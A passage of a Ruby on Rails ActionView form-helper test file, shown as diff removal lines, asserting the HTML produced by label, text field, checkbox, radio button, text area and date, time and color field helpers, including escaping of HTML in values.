- :red => "Rojo"
- },
- :comments => {
- :body => "Write body here"
- }
- },
- :tag => {
- :value => "Tag"
- }
- }
- }
- }
-
- # Create "submit" locale for testing I18n submit helpers
- I18n.backend.store_translations 'submit', {
- :helpers => {
- :submit => {
- :create => 'Create %{model}',
- :update => 'Confirm %{model} changes',
- :submit => 'Save changes',
- :another_post => {
- :update => 'Update your %{model}'
- }
- }
- }
- }
-
- @post = Post.new
- @comment = Comment.new
- def @post.errors()
- Class.new{
- def [](field); field == "author_name" ? ["can't be empty"] : [] end
- def empty?() false end
- def count() 1 end
- def full_messages() [ "Author name can't be empty" ] end
- }.new
- end
- def @post.to_key; [123]; end
- def @post.id_before_type_cast; 123; end
- def @post.to_param; '123'; end
-
- @post.persisted = true
- @post.title = "Hello World"
- @post.author_name = ""
- @post.body = "Back to the hill and over it again!"
- @post.secret = 1
- @post.written_on = Date.new(2004, 6, 15)
-
- @post.comments = []
- @post.comments << @comment
-
- @post.tags = []
- @post.tags << Tag.new
-
- @car = Car.new("#000FFF")
- end
-
- Routes = ActionDispatch::Routing::RouteSet.new
- Routes.draw do
- resources :posts do
- resources :comments
- end
-
- namespace :admin do
- resources :posts do
- resources :comments
- end
- end
-
- get "/foo", :to => "controller#action"
- root :to => "main#index"
- end
-
- def _routes
- Routes
- end
-
- include Routes.url_helpers
-
- def url_for(object)
- @url_for_options = object
- if object.is_a?(Hash) && object[:use_route].blank? && object[:controller].blank?
- object.merge!(:controller => "main", :action => "index")
- end
- super
- end
-
- class FooTag < ActionView::Helpers::Tags::Base
- def initialize; end
- end
-
- def test_tags_base_child_without_render_method
- assert_raise(NotImplementedError) { FooTag.new.render }
- end
-
- def test_label
- assert_dom_equal('<label for="post_title">Title</label>', label("post", "title"))
- assert_dom_equal('<label for="post_title">The title goes here</label>', label("post", "title", "The title goes here"))
- assert_dom_equal(
- '<label class="title_label" for="post_title">Title</label>',
- label("post", "title", nil, :class => 'title_label')
- )
- assert_dom_equal('<label for="post_secret">Secret?</label>', label("post", "secret?"))
- end
-
- def test_label_with_symbols
- assert_dom_equal('<label for="post_title">Title</label>', label(:post, :title))
- assert_dom_equal('<label for="post_secret">Secret?</label>', label(:post, :secret?))
- end
-
- def test_label_with_locales_strings
- old_locale, I18n.locale = I18n.locale, :label
- assert_dom_equal('<label for="post_body">Write entire text here</label>', label("post", "body"))
- ensure
- I18n.locale = old_locale
- end
-
- def test_label_with_human_attribute_name
- old_locale, I18n.locale = I18n.locale, :label
- assert_dom_equal('<label for="post_cost">Total cost</label>', label(:post, :cost))
- ensure
- I18n.locale = old_locale
- end
-
- def test_label_with_locales_symbols
- old_locale, I18n.locale = I18n.locale, :label
- assert_dom_equal('<label for="post_body">Write entire text here</label>', label(:post, :body))
- ensure
- I18n.locale = old_locale
- end
-
- def test_label_with_locales_and_options
- old_locale, I18n.locale = I18n.locale, :label
- assert_dom_equal('<label for="post_body" class="post_body">Write entire text here</label>', label(:post, :body, :class => 'post_body'))
- ensure
- I18n.locale = old_locale
- end
-
- def test_label_with_locales_and_value
- old_locale, I18n.locale = I18n.locale, :label
- assert_dom_equal('<label for="post_color_red">Rojo</label>', label(:post, :color, :value => "red"))
- ensure
- I18n.locale = old_locale
- end
-
- def test_label_with_locales_and_nested_attributes
- old_locale, I18n.locale = I18n.locale, :label
- form_for(@post, :html => { :id => 'create-post' }) do |f|
- f.fields_for(:comments) do |cf|
- concat cf.label(:body)
- end
- end
-
- expected = whole_form("/posts/123", "create-post" , "edit_post", :method => 'patch') do
- "<label for=\"post_comments_attributes_0_body\">Write body here</label>"
- end
-
- assert_dom_equal expected, output_buffer
- ensure
- I18n.locale = old_locale
- end
-
- def test_label_with_locales_fallback_and_nested_attributes
- old_locale, I18n.locale = I18n.locale, :label
- form_for(@post, :html => { :id => 'create-post' }) do |f|
- f.fields_for(:tags) do |cf|
- concat cf.label(:value)
- end
- end
-
- expected = whole_form("/posts/123", "create-post" , "edit_post", :method => 'patch') do
- "<label for=\"post_tags_attributes_0_value\">Tag</label>"
- end
-
- assert_dom_equal expected, output_buffer
- ensure
- I18n.locale = old_locale
- end
-
- def test_label_with_for_attribute_as_symbol
- assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, :for => "my_for"))
- end
-
- def test_label_with_for_attribute_as_string
- assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, "for" => "my_for"))
- end
-
- def test_label_does_not_generate_for_attribute_when_given_nil
- assert_dom_equal('<label>Title</label>', label(:post, :title, :for => nil))
- end
-
- def test_label_with_id_attribute_as_symbol
- assert_dom_equal('<label for="post_title" id="my_id">Title</label>', label(:post, :title, nil, :id => "my_id"))
- end
-
- def test_label_with_id_attribute_as_string
- assert_dom_equal('<label for="post_title" id="my_id">Title</label>', label(:post, :title, nil, "id" => "my_id"))
- end
-
- def test_label_with_for_and_id_attributes_as_symbol
- assert_dom_equal('<label for="my_for" id="my_id">Title</label>', label(:post, :title, nil, :for => "my_for", :id => "my_id"))
- end
-
- def test_label_with_for_and_id_attributes_as_string
- assert_dom_equal('<label for="my_for" id="my_id">Title</label>', label(:post, :title, nil, "for" => "my_for", "id" => "my_id"))
- end
-
- def test_label_for_radio_buttons_with_value
- assert_dom_equal('<label for="post_title_great_title">The title goes here</label>', label("post", "title", "The title goes here", :value => "great_title"))
- assert_dom_equal('<label for="post_title_great_title">The title goes here</label>', label("post", "title", "The title goes here", :value => "great title"))
- end
-
- def test_label_with_block
- assert_dom_equal('<label for="post_title">The title, please:</label>', label(:post, :title) { "The title, please:" })
- end
-
- def test_label_with_block_and_options
- assert_dom_equal('<label for="my_for">The title, please:</label>', label(:post, :title, "for" => "my_for") { "The title, please:" })
- end
-
- def test_label_with_block_in_erb
- assert_equal "<label for=\"post_message\">\n Message\n <input id=\"post_message\" name=\"post[message]\" type=\"text\" />\n</label>", view.render("test/label_with_block")
- end
-
- def test_text_field
- assert_dom_equal(
- '<input id="post_title" name="post[title]" type="text" value="Hello World" />', text_field("post", "title")
- )
- assert_dom_equal(
- '<input id="post_title" name="post[title]" type="password" />', password_field("post", "title")
- )
- assert_dom_equal(
- '<input id="post_title" name="post[title]" type="password" value="Hello World" />', password_field("post", "title", :value => @post.title)
- )
- assert_dom_equal(
- '<input id="person_name" name="person[name]" type="password" />', password_field("person", "name")
- )
- end
-
- def test_text_field_with_escapes
- @post.title = "<b>Hello World</b>"
- assert_dom_equal(
- '<input id="post_title" name="post[title]" type="text" value="&lt;b&gt;Hello World&lt;/b&gt;" />', text_field("post", "title")
- )
- end
-
- def test_text_field_with_html_entities
- @post.title = "The HTML Entity for & is &amp;"
- assert_dom_equal(
- '<input id="post_title" name="post[title]" type="text" value="The HTML Entity for &amp; is &amp;amp;" />',
- text_field("post", "title")
- )
- end
-
- def test_text_field_with_options
- expected = '<input id="post_title" name="post[title]" size="35" type="text" value="Hello World" />'
- assert_dom_equal expected, text_field("post", "title", "size" => 35)
- assert_dom_equal expected, text_field("post", "title", :size => 35)
- end
-
- def test_text_field_assuming_size
- expected = '<input id="post_title" maxlength="35" name="post[title]" size="35" type="text" value="Hello World" />'
- assert_dom_equal expected, text_field("post", "title", "maxlength" => 35)
- assert_dom_equal expected, text_field("post", "title", :maxlength => 35)
- end
-
- def test_text_field_removing_size
- expected = '<input id="post_title" maxlength="35" name="post[title]" type="text" value="Hello World" />'
- assert_dom_equal expected, text_field("post", "title", "maxlength" => 35, "size" => nil)
- assert_dom_equal expected, text_field("post", "title", :maxlength => 35, :size => nil)
- end
-
- def test_text_field_with_nil_value
- expected = '<input id="post_title" name="post[title]" type="text" />'
- assert_dom_equal expected, text_field("post", "title", :value => nil)
- end
-
- def test_text_field_with_nil_name
- expected = '<input id="post_title" type="text" value="Hello World" />'
- assert_dom_equal expected, text_field("post", "title", :name => nil)
- end
-
- def test_text_field_doesnt_change_param_values
- object_name = 'post[]'
- expected = '<input id="post_123_title" name="post[123][title]" type="text" value="Hello World" />'
- assert_equal expected, text_field(object_name, "title")
- assert_equal object_name, "post[]"
- end
-
- def test_file_field_has_no_size
- expected = '<input id="user_avatar" name="user[avatar]" type="file" />'
- assert_dom_equal expected, file_field("user", "avatar")
- end
-
- def test_hidden_field
- assert_dom_equal '<input id="post_title" name="post[title]" type="hidden" value="Hello World" />',
- hidden_field("post", "title")
- assert_dom_equal '<input id="post_secret" name="post[secret]" type="hidden" value="1" />',
- hidden_field("post", "secret?")
- end
-
- def test_hidden_field_with_escapes
- @post.title = "<b>Hello World</b>"
- assert_dom_equal '<input id="post_title" name="post[title]" type="hidden" value="&lt;b&gt;Hello World&lt;/b&gt;" />',
- hidden_field("post", "title")
- end
-
- def test_hidden_field_with_nil_value
- expected = '<input id="post_title" name="post[title]" type="hidden" />'
- assert_dom_equal expected, hidden_field("post", "title", :value => nil)
- end
-
- def test_hidden_field_with_options
- assert_dom_equal '<input id="post_title" name="post[title]" type="hidden" value="Something Else" />',
- hidden_field("post", "title", :value => "Something Else")
- end
-
- def test_text_field_with_custom_type
- assert_dom_equal '<input id="user_email" name="user[email]" type="email" />',
- text_field("user", "email", :type => "email")
- end
-
- def test_check_box_is_html_safe
- assert check_box("post", "secret").html_safe?
- end
-
- def test_check_box_checked_if_object_value_is_same_that_check_value
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
- check_box("post", "secret")
- )
- end
-
- def test_check_box_not_checked_if_object_value_is_same_that_unchecked_value
- @post.secret = 0
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
- check_box("post", "secret")
- )
- end
-
- def test_check_box_checked_if_option_checked_is_present
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
- check_box("post", "secret" ,{"checked"=>"checked"})
- )
- end
-
- def test_check_box_checked_if_object_value_is_true
- @post.secret = true
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
- check_box("post", "secret")
- )
-
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
- check_box("post", "secret?")
- )
- end
-
- def test_check_box_checked_if_object_value_includes_checked_value
- @post.secret = ['0']
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
- check_box("post", "secret")
- )
-
- @post.secret = ['1']
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
- check_box("post", "secret")
- )
-
- @post.secret = Set.new(['1'])
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
- check_box("post", "secret")
- )
- end
-
- def test_check_box_with_include_hidden_false
- @post.secret = false
- assert_dom_equal('<input id="post_secret" name="post[secret]" type="checkbox" value="1" />', check_box("post", "secret", :include_hidden => false))
- end
-
- def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_string
- @post.secret = "on"
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
- check_box("post", "secret", {}, "on", "off")
- )
-
- @post.secret = "off"
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="on" />',
- check_box("post", "secret", {}, "on", "off")
- )
- end
-
- def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_boolean
- @post.secret = false
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="true" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="false" />',
- check_box("post", "secret", {}, false, true)
- )
-
- @post.secret = true
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="true" /><input id="post_secret" name="post[secret]" type="checkbox" value="false" />',
- check_box("post", "secret", {}, false, true)
- )
- end
-
- def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_integer
- @post.secret = 0
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
- check_box("post", "secret", {}, 0, 1)
- )
-
- @post.secret = 1
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
- check_box("post", "secret", {}, 0, 1)
- )
-
- @post.secret = 2
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
- check_box("post", "secret", {}, 0, 1)
- )
- end
-
- def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_float
- @post.secret = 0.0
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
- check_box("post", "secret", {}, 0, 1)
- )
-
- @post.secret = 1.1
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
- check_box("post", "secret", {}, 0, 1)
- )
-
- @post.secret = 2.2
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
- check_box("post", "secret", {}, 0, 1)
- )
- end
-
- def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_big_decimal
- @post.secret = BigDecimal.new(0)
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
- check_box("post", "secret", {}, 0, 1)
- )
-
- @post.secret = BigDecimal.new(1)
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
- check_box("post", "secret", {}, 0, 1)
- )
-
- @post.secret = BigDecimal.new(2.2, 1)
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
- check_box("post", "secret", {}, 0, 1)
- )
- end
-
- def test_check_box_with_nil_unchecked_value
- @post.secret = "on"
- assert_dom_equal(
- '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
- check_box("post", "secret", {}, "on", nil)
- )
- end
-
- def test_check_box_with_nil_unchecked_value_is_html_safe
- assert check_box("post", "secret", {}, "on", nil).html_safe?
- end
-
- def test_check_box_with_multiple_behavior
- @post.comment_ids = [2,3]
- assert_dom_equal(
- '<input name="post[comment_ids][]" type="hidden" value="0" /><input id="post_comment_ids_1" name="post[comment_ids][]" type="checkbox" value="1" />',
- check_box("post", "comment_ids", { :multiple => true }, 1)
- )
- assert_dom_equal(
- '<input name="post[comment_ids][]" type="hidden" value="0" /><input checked="checked" id="post_comment_ids_3" name="post[comment_ids][]" type="checkbox" value="3" />',
- check_box("post", "comment_ids", { :multiple => true }, 3)
- )
- end
-
- def test_check_box_with_multiple_behavior_and_index
- @post.comment_ids = [2,3]
- assert_dom_equal(
- '<input name="post[foo][comment_ids][]" type="hidden" value="0" /><input id="post_foo_comment_ids_1" name="post[foo][comment_ids][]" type="checkbox" value="1" />',
- check_box("post", "comment_ids", { :multiple => true, :index => "foo" }, 1)
- )
- assert_dom_equal(
- '<input name="post[bar][comment_ids][]" type="hidden" value="0" /><input checked="checked" id="post_bar_comment_ids_3" name="post[bar][comment_ids][]" type="checkbox" value="3" />',
- check_box("post", "comment_ids", { :multiple => true, :index => "bar" }, 3)
- )
-
- end
-
- def test_checkbox_disabled_disables_hidden_field
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="0" disabled="disabled"/><input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
- check_box("post", "secret", { :disabled => true })
- )
- end
-
- def test_checkbox_form_html5_attribute
- assert_dom_equal(
- '<input form="new_form" name="post[secret]" type="hidden" value="0" /><input checked="checked" form="new_form" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
- check_box("post", "secret", :form => "new_form")
- )
- end
-
- def test_radio_button
- assert_dom_equal('<input checked="checked" id="post_title_hello_world" name="post[title]" type="radio" value="Hello World" />',
- radio_button("post", "title", "Hello World")
- )
- assert_dom_equal('<input id="post_title_goodbye_world" name="post[title]" type="radio" value="Goodbye World" />',
- radio_button("post", "title", "Goodbye World")
- )
- assert_dom_equal('<input id="item_subobject_title_inside_world" name="item[subobject][title]" type="radio" value="inside world"/>',
- radio_button("item[subobject]", "title", "inside world")
- )
- end
-
- def test_radio_button_is_checked_with_integers
- assert_dom_equal('<input checked="checked" id="post_secret_1" name="post[secret]" type="radio" value="1" />',
- radio_button("post", "secret", "1")
- )
- end
-
- def test_radio_button_with_negative_integer_value
- assert_dom_equal('<input id="post_secret_-1" name="post[secret]" type="radio" value="-1" />',
- radio_button("post", "secret", "-1"))
- end
-
- def test_radio_button_respects_passed_in_id
- assert_dom_equal('<input checked="checked" id="foo" name="post[secret]" type="radio" value="1" />',
- radio_button("post", "secret", "1", :id=>"foo")
- )
- end
-
- def test_radio_button_with_booleans
- assert_dom_equal('<input id="post_secret_true" name="post[secret]" type="radio" value="true" />',
- radio_button("post", "secret", true)
- )
-
- assert_dom_equal('<input id="post_secret_false" name="post[secret]" type="radio" value="false" />',
- radio_button("post", "secret", false)
- )
- end
-
- def test_text_area
- assert_dom_equal(
- %{<textarea id="post_body" name="post[body]">\nBack to the hill and over it again!</textarea>},
- text_area("post", "body")
- )
- end
-
- def test_text_area_with_escapes
- @post.body = "Back to <i>the</i> hill and over it again!"
- assert_dom_equal(
- %{<textarea id="post_body" name="post[body]">\nBack to &lt;i&gt;the&lt;/i&gt; hill and over it again!</textarea>},
- text_area("post", "body")
- )
- end
-
- def test_text_area_with_alternate_value
- assert_dom_equal(
- %{<textarea id="post_body" name="post[body]">\nTesting alternate values.</textarea>},
- text_area("post", "body", :value => 'Testing alternate values.')
- )
- end
-
- def test_text_area_with_html_entities
- @post.body = "The HTML Entity for & is &amp;"
- assert_dom_equal(
- %{<textarea id="post_body" name="post[body]">\nThe HTML Entity for &amp; is &amp;amp;</textarea>},
- text_area("post", "body")
- )
- end
-
- def test_text_area_with_size_option
- assert_dom_equal(
- %{<textarea cols="183" id="post_body" name="post[body]" rows="820">\nBack to the hill and over it again!</textarea>},
- text_area("post", "body", :size => "183x820")
- )
- end
-
- def test_color_field_with_valid_hex_color_string
- expected = %{<input id="car_color" name="car[color]" type="color" value="#000fff" />}
- assert_dom_equal(expected, color_field("car", "color"))
- end
-
- def test_color_field_with_invalid_hex_color_string
- expected = %{<input id="car_color" name="car[color]" type="color" value="#000000" />}
- @car.color = "#1234TR"
- assert_dom_equal(expected, color_field("car", "color"))
- end
-
- def test_search_field
- expected = %{<input id="contact_notes_query" name="contact[notes_query]" type="search" />}
- assert_dom_equal(expected, search_field("contact", "notes_query"))
- end
-
- def test_telephone_field
- expected = %{<input id="user_cell" name="user[cell]" type="tel" />}
- assert_dom_equal(expected, telephone_field("user", "cell"))
- end
-
- def test_date_field
- expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
- assert_dom_equal(expected, date_field("post", "written_on"))
- end
-
- def test_date_field_with_datetime_value
- expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
- @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
- assert_dom_equal(expected, date_field("post", "written_on"))
- end
-
- def test_date_field_with_extra_attrs
- expected = %{<input id="post_written_on" step="2" max="2010-08-15" min="2000-06-15" name="post[written_on]" type="date" value="2004-06-15" />}
- @post.written_on = DateTime.new(2004, 6, 15)
- min_value = DateTime.new(2000, 6, 15)
- max_value = DateTime.new(2010, 8, 15)
- step = 2
- assert_dom_equal(expected, date_field("post", "written_on", :min => min_value, :max => max_value, :step => step))
- end
-
- def test_date_field_with_timewithzone_value
- previous_time_zone, Time.zone = Time.zone, 'UTC'
- expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
- @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
- assert_dom_equal(expected, date_field("post", "written_on"))
- ensure
- Time.zone = previous_time_zone
- end
-
- def test_date_field_with_nil_value
- expected = %{<input id="post_written_on" name="post[written_on]" type="date" />}
- @post.written_on = nil
- assert_dom_equal(expected, date_field("post", "written_on"))
- end
-
- def test_time_field
- expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="00:00:00.000" />}
- assert_dom_equal(expected, time_field("post", "written_on"))
- end
-
- def test_time_field_with_datetime_value
- expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
- @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
- assert_dom_equal(expected, time_field("post", "written_on"))
- end
-
- def test_time_field_with_extra_attrs
- expected = %{<input id="post_written_on" step="60" max="10:25:00.000" min="20:45:30.000" name="post[written_on]" type="time" value="01:02:03.000" />}
- @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
- min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
- max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
- step = 60
- assert_dom_equal(expected, time_field("post", "written_on", :min => min_value, :max => max_value, :step => step))
- end
-
- def test_time_field_with_timewithzone_value
- previous_time_zone, Time.zone = Time.zone, 'UTC'
- expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
- @post.written_on = Time.zone.parse('2004-06-15 01:02:03')
- assert_dom_equal(expected, time_field("post", "written_on"))
- ensure
- Time.zone = previous_time_zone
- end
-
- def test_time_field_with_nil_value
- expected = %{<input id="post_written_on" name="post[written_on]" type="time" />}
- @post.written_on = nil
- assert_dom_equal(expected, time_field("post", "written_on"))
- end
-
- def test_datetime_field
- expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T00:00:00.000+0000" />}
- assert_dom_equal(expected, datetime_field("post", "written_on"))
- end
-
- def test_datetime_field_with_datetime_value
- expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
- @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
- assert_dom_equal(expected, datetime_field("post", "written_on"))
- end
-
- def test_datetime_field_with_extra_attrs
- expected = %{<input id="post_written_on" step="60" max="2010-08-15T10:25:00.000+0000" min="2000-06-15T20:45:30.000+0000" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
- @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
- min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
- max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
- step = 60
- assert_dom_equal(expected, datetime_field("post", "written_on", :min => min_value, :max => max_value, :step => step))
- end
-
- def test_datetime_field_with_timewithzone_value
- previous_time_zone, Time.zone = Time.zone, 'UTC'
- expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T15:30:45.000+0000" />}
- @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
- assert_dom_equal(expected, datetime_field("post", "written_on"))
- ensure
- Time.zone = previous_time_zone
- end
-
- def test_datetime_field_with_nil_value
- expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" />}
- @post.written_on = nil
- assert_dom_equal(expected, datetime_field("post", "written_on"))
- end
-
- def test_datetime_local_field
- expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T00:00:00" />}
- assert_dom_equal(expected, datetime_local_field("post", "written_on"))
- end
-
- def test_datetime_local_field_with_datetime_value
- expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
- @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
- assert_dom_equal(expected, datetime_local_field("post", "written_on"))
- end
-
- def test_datetime_local_field_with_extra_attrs
- expected = %{<input id="post_written_on" step="60" max="2010-08-15T10:25:00" min="2000-06-15T20:45:30" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
- @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
- min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
- max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
- step = 60
- assert_dom_equal(expected, datetime_local_field("post", "written_on", :min => min_value, :max => max_value, :step => step))
- end
-
- def test_datetime_local_field_with_timewithzone_value
- previous_time_zone, Time.zone = Time.zone, 'UTC'
- expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T15:30:45" />}
- @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
- assert_dom_equal(expected, datetime_local_field("post", "written_on"))
- ensure
- Time.zone = previous_time_zone
- end
-
- def test_datetime_local_field_with_nil_value
- expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" />}
- @post.written_on = nil
- assert_dom_equal(expected, datetime_local_field("post", "written_on"))
- end
-
- def test_month_field
- expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
- assert_dom_equal(expected, month_field("post", "written_on"))
- end
-
- def test_month_field_with_nil_value
- expected = %{<input id="post_written_on" name="post[written_on]" type="month" />}
- @post.written_on = nil
- assert_dom_equal(expected, month_field("post", "written_on"))
- end
-
- def test_month_field_with_datetime_value
- expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
- @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
- assert_dom_equal(expected, month_field("post", "written_on"))
- end
-
- def test_month_field_with_extra_attrs
- expected = %{<input id="post_written_on" step="2" max="2010-12" min="2000-02" name="post[written_on]" type="month" value="2004-06" />}
- @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
- min_value = DateTime.new(2000, 2, 13)
- max_value = DateTime.new(2010, 12, 23)
- step = 2
- assert_dom_equal(expected, month_field("post", "written_on", :min => min_value, :max => max_value, :step => step))
- end
-
- def test_month_field_with_timewithzone_value
- previous_time_zone, Time.zone = Time.zone, 'UTC'
- expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
- @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
- assert_dom_equal(expected, month_field("post", "written_on"))
- ensure
- Time.zone = previous_time_zone
- end
-
- def test_week_field
- expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
- assert_dom_equal(expected, week_field("post", "written_on"))
- end
-
- def test_week_field_with_nil_value
- expected = %{<input id="post_written_on" name="post[written_on]" type="week" />}
- @post.written_on = nil
- assert_dom_equal(expected, week_field("post", "written_on"))
- end
-
- def test_week_field_with_datetime_value
- expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
- @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
- assert_dom_equal(expected, week_field("post", "written_on"))
- end
-
- def test_week_field_with_extra_attrs
- expected = %{<input id="post_written_on" step="2" max="2010-W51" min="2000-W06" name="post[written_on]" type="week" value="2004-W24" />}
- @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
- min_value = DateTime.new(2000, 2, 13)
- max_value = DateTime.new(2010, 12, 23)
- step = 2
- assert_dom_equal(expected, week_field("post", "written_on", :min => min_value, :max => max_value, :step => step))
- end
-
- def test_week_field_with_timewithzone_value
- previous_time_zone, Time.zone = Time.zone, 'UTC'
- expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
- @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
- assert_dom_equal(expected, week_field("post", "written_on"))
- ensure
- Time.zone = previous_time_zone
- end
-
- def test_url_field
- expected = %{<input id="user_homepage" name="user[homepage]" type="url" />}
- assert_dom_equal(expected, url_field("user", "homepage"))
- end
-
- def test_email_field
- expected = %{<input id="user_address" name="user[address]" type="email" />}
- assert_dom_equal(expected, email_field("user", "address"))
- end
-
- def test_number_field
- expected = %{<input name="order[quantity]" max="9" id="order_quantity" type="number" min="1" />}
- assert_dom_equal(expected, number_field("order", "quantity", :in => 1...10))
- expected = %{<input name="order[quantity]" size="30" max="9" id="order_quantity" type="number" min="1" />}
- assert_dom_equal(expected, number_field("order", "quantity", :size => 30, :in => 1...10))
- end
-
- def test_range_input
- expected = %{<input name="hifi[volume]" step="0.1" max="11" id="hifi_volume" type="range" min="0" />}
- assert_dom_equal(expected, range_field("hifi", "volume", :in => 0..11, :step => 0.1))
- expected = %{<input name="hifi[volume]" step="0.1" size="30" max="11" id="hifi_volume" type="range" min="0" />}
- assert_dom_equal(expected, range_field("hifi", "volume", :size => 30, :in => 0..11, :step => 0.1))
- end
-
- def test_explicit_name
- assert_dom_equal(
- '<input id="post_title" name="dont guess" type="text" value="Hello World" />', text_field("post", "title", "name" => "dont guess")
- )
- assert_dom_equal(
- %{<textarea id="post_body" name="really!">\nBack to the hill and over it again!</textarea>},
- text_area("post", "body", "name" => "really!")
- )
- assert_dom_equal(
- '<input name="i mean it" type="hidden" value="0" /><input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" />',
- check_box("post", "secret", "name" => "i mean it")
- )
- assert_dom_equal text_field("post", "title", "name" => "dont guess"),
- text_field("post", "title", :name => "dont guess")
- assert_dom_equal text_area("post", "body", "name" => "really!"),
- text_area("post", "body", :name => "really!")
- assert_dom_equal check_box("post", "secret", "name" => "i mean it"),
- check_box("post", "secret", :name => "i mean it")
- end
-
- def test_explicit_id
- assert_dom_equal(
- '<input id="dont guess" name="post[title]" type="text" value="Hello World" />', text_field("post", "title", "id" => "dont guess")
- )
- assert_dom_equal(
